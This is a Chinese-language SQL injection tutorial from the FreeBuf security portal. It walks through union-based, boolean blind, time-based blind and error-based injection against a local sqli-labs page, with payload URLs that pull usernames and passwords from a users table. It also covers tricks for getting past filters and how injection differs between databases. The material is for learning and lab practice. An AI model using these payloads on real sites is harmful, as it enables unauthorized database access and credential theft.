freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

sql注入总结
2021-11-09 22:30:51

sql注入总结

sql注入的原理:因为对用户输入的数据过滤不严格,导致用户输入的数据传到了数据库中,和数据库的语句拼接能够执行sql命令,sql注入的本质其实就是执行sql语句。


注入的思路:

1.寻找与数据库有交互的点,例如在浏览器框中?后面的参数中

例如:http://www.baidu.com?cc=2

一般出现在:删除、登录、注册、搜索框..........  感觉有增删改查的数据的地方都存在sql注入

2.然后在可以存在注入的地方输入单引号进行查看页面返回信息,一般页面报错则会存在sql注入

3.页面报错之后我们可以使用--+ 或者 # 进行闭合,闭合之后页面返回正常

4.如果输入单引号页面报错,则可能页面代码中没有显示报错,这时我们可以进行查看输入单引号之后页面长度是否和以前的长度一样。

5.如果输入单引号之后页面返回长度和以前一样,那么我们可以使用延时注入查看页面的返回时间,sql语句为http://www.baidu.com?cc=2' and sleep(2) -- -


总结一下:

发现sql注入的过程

1.观察页面的返回长度

2.观察页面的响应时间

3.查看页面是否有报错信息


sql注入的步骤:

联合注入

1.找出与数据库有交互的点,进行修改参数查看页面是否返回不一样的数据

如:http://127.0.0.1/sqli/Less-1/?id=1    和      http://127.0.0.1/sqli/Less-1/?id=2的区别

显示页面不一样说明现在的页面存在与数据库有交互的行为

2.输入一个单引号或者\进行查看页面是否有报错信息

http://127.0.0.1/sqli/Less-1/?id=1'

3.进行闭合单引号


4.输入and 1=1 和  and 1=0 进行查看此时的数据类型,如果1=1正常显示在试 1=0 返回的和1=1的页面不一样就是单引号字符型,如果没有有可能是双引号字符型或者整型也有可能加了括号具体因代码而定

http://127.0.0.1/sqli/Less-1/?id=1' and 1=1 -- -

正常显示

http://127.0.0.1/sqli/Less-1/?id=1' and 1=0 -- -

页面上面没有了返回值,说明是单引号字符型

我们进行查看代码

可以看到此时的id被加上了单引号我们想要进行注入需要从里面进行逃逸所以现在这个参数的数据类型为单引号字符类型

5.进行判断数据库有几个字段数

http://127.0.0.1/sqli/Less-1/?id=1' order by 1 -- -

http://127.0.0.1/sqli/Less-1/?id=1' order by 2 -- -

order by .....

直到页面报错或者页面没有返回值

http://127.0.0.1/sqli/Less-1/?id=1' order by 4  -- -

页面报错了,我们输入order by 3进行查看

http://127.0.0.1/sqli/Less-1/?id=1' order by 3-- -

order by 4报错,order by 3显示,说明数据库中有3个字段

6.判断显示位

http://127.0.0.1/sqli/Less-1/?id=1' union select 1,2,3-- -

是几位字段后面select 1,2,3 就写到几位

我们输入之后发现显示位没有显示出来,因为数据库中原有的值将我们查出来的值盖住了所以我们需要将前面的值显示为空这样我们查出来的数据就能看到了

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3-- -

发现成功找到了显示位是我们中的2和3的位置

7.在2的位置输入database()查看是否能返回

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),3-- -

爆出了当前的数据库名字

8.我们利用information表这个表进行查询当前的数据库表

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3  from information_schema.tables where table_schema='security'   -- -

9.进行查询users这个表的字段

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3  from information_schema.columns where table_schema='security' and table_name='users'   -- -

10.此时我们已经知道了在security这个库下面有一个users表中有id,username,password这3个字段,接下来我们进行查询这3个字段的值

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,username,password),3 from users --+

完整的一次sql注入完成


总结:上面这些是我们在页面能够进行联合注入的情况下使用的但是根据页面的返回和传输方式我们传参的位置和方法都不一样


布尔盲注

布尔盲注: 布尔盲注出现的情况是我们的页面没有显示位,这时我们可以利用布尔盲注进行注入

利用原理:就是我们进行构造真和假进行查看页面的返回信息,如果为真页面则有数据返回,如果为假则什么都不显示

前提:因为我们已经得不到显示位了所以我们只能根据页面的返回长度进行查询,因为我们知道mysql数据库是根据数据库、数据库表、字段、值来进行存放值的,所以接下来我们进行写一个清单先有什么在有什么

1.判断当前数据库有几位 :

2.判断当前数据库的第一位是什么,第二位,第三位直到判断完成

3.然后进行判断这个数据库中有几个表

4.判断第一个表的长度,第二个表的长度,直到判断完成

5.判断第一个表中第一位为多少,第二位。。。。直到判断完成

6.然后第二个表,第三个表,第四个表..........

7.然后选择一个表,判断这个表中有几个字段

8.判断第一个字段的长度,第二个字段的长度.......

9.判断第一个字段中第一位是什么,第二位.......

10.然后判断所有字段

11.接下来我们的数据库、表、字段、都出来了

12.进行判断第一个表中第一个字段有几个值

13.判断第一个值得长度,第二个......

14.判断第一个值的字符为多少,第二个..........

15.以此类推把所有的值都跑出来

利用的函数:length() 判断长度   substr()截取字符串   substring()截取字符串  mid()截取字符串  left()截取字符串 rigth截取字符串() ascii()转为ascii的值   count()字段的长度

利用步骤:

1.判断数据库的个数:?id=1' and (select count(schema_name) from information_schema.schemata limit 0,1)=6 --+

2.判断数据库的字符长度:?id=1' and (select length(schema_name) from information_schema.schemata limit 4,1)=8 --+

3.根据ascii码判断指定数据库的值:?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))=115--+

4.判断表的个数:?id=1' and%20 (select%20 count(table_name) from information_schema.tables where%20 table_schema='security')=4 --+

5.判断security表中每个字段的长度:?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6 --+

6.根据ascii值判断具体字符:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 --+

7.判断users表中字段的个数:?id=1' and if(((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3),sleep(2),1) --+

8.判断每个字段长度:?id=1' and (select length(column_name) from information_schema.columns where table_name='users' and table_schema='security' limit 0,1)=2 --+

9.根据acsii判断每个字段的字符的值:?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),1,1))=105 --+

10.判断值有几行:?id=1' and (select count(username) from security.users limit 0,1) =13 --+

11.判断security.users表中第一行字符长度:?id=1' and (select length(username) from security.users limit 0,1)=4 --+

12.根据ascii值判断每个值的具体字符:?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=68--+


时间盲注

时间盲注:就是利用数据库的返回时间来进行判断我们想要查询的数据是什么

前提条件:因为页面没有显示位,返回长度也没有变化之后,我们可以根据页面的返回长度进行判断

利用步骤和布尔盲注一样,只是我们使用的函数不一样,时间盲注利用了if()判断,或者使用   benchmark()

具体思路和盲注一样:只不过将布尔中的数据转换了一下放到了if中进行执行的

1.判断当前数据库有几位

?id=1'  and  if(length(database())>1,sleep(2),1)  -- -

2.判断当前数据库的第一位是什么,第二位,第三位直到判断完成

?id=1'   and  if(ascii(mid(database(),1,1))>1,sleep(2),1)    -- -                   下面的sql注入命令都是将上面的布尔盲注的信息放到if中然后查看返回时间

3.然后进行判断这个数据库中有几个表

4.判断第一个表的长度,第二个表的长度,直到判断完成

5.判断第一个表中第一位为多少,第二位。。。。直到判断完成

6.然后第二个表,第三个表,第四个表..........

7.然后选择一个表,判断这个表中有几个字段

8.判断第一个字段的长度,第二个字段的长度.......

9.判断第一个字段中第一位是什么,第二位.......

10.然后判断所有字段

11.接下来我们的数据库、表、字段、都出来了

12.进行判断第一个表中第一个字段有几个值

13.判断第一个值得长度,第二个......

14.判断第一个值的字符为多少,第二个..........



报错注入

原理:输入一个单引号发现页面有sql报错,那么我们就可以利用报错注入进行查询

报错注入的俩个函数:updatexml()    extractvalue()      floor()

步骤:

1.查询数据库名

?id=1' and  updatexml(1,concat(0x7e,database(),0x7e),1) --+

以下就是查询表名、字段名、值里面的sql注入语句都是上面的联合注入语句把这些sql注入语句替换了database()就可以了


绕过手法

1.等号被过滤了

可以使用模糊查询 如:select * from users where id='-1' union select 1,2,table_name from information_schema.tables where table_schema like 'securit%';

正则表达式:select * from users where id='-1' union select 1,2,table_name from information_schema.tables where table_schema regexp '^secu';

in或者 not in


2.字符编码:但是只有字符可以转为16进制

编码可以将字符转为char

16进制


3.空格被过滤了

可以进行代替的

+

%09

%20

/**/

%0a-%0d

()


4.使用等价替换

if()   benchmark()

concat() group_concat()  concat_ws()

and &&

or ||

length()  count()  right()

mid()  substr()  substring()

ord() ascii()


进行大小写、复写、分块传输


不同的数据库sql注入的区别

特定函数的区别

MySQL支持: SUBSTR( )、SUBSTRING( )、mid()
Oracle支持: SUBSTR( )
SQL Server支持: SUBSTRING( )

mysql支持:length()
mssql支持:len()
oracle支持:lengthb()
postgresql支持: char_length ()

mysql支持:BENCHMARK() 、SLEEP(5)
PostgreSQL支持:PG_SLEEP()、GENERATE_SERIES()
重点:mssql支持:WAITFOR DELAY '0:0:5'


编程语言的区别:

asp:SQL Server,Access
.net:SQL Server
php:MySQL,PostgreSQL
java:Oracle,MySQL


端口的区别:

Oracle:默认端口1521
SQL Server:默认端口1433
MySQL:默认端口3306


数据库的特性:

Mysql特有:/*!*/
--:Oracle和SQL Server支持
; Oracle不支持多行查询

mysql和mssql:支持+拼接
Oracle:支持||拼接



mysql和postgresql特有:information_schema
oracle特有:sys.user
mssql特有:sysobjects
























# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录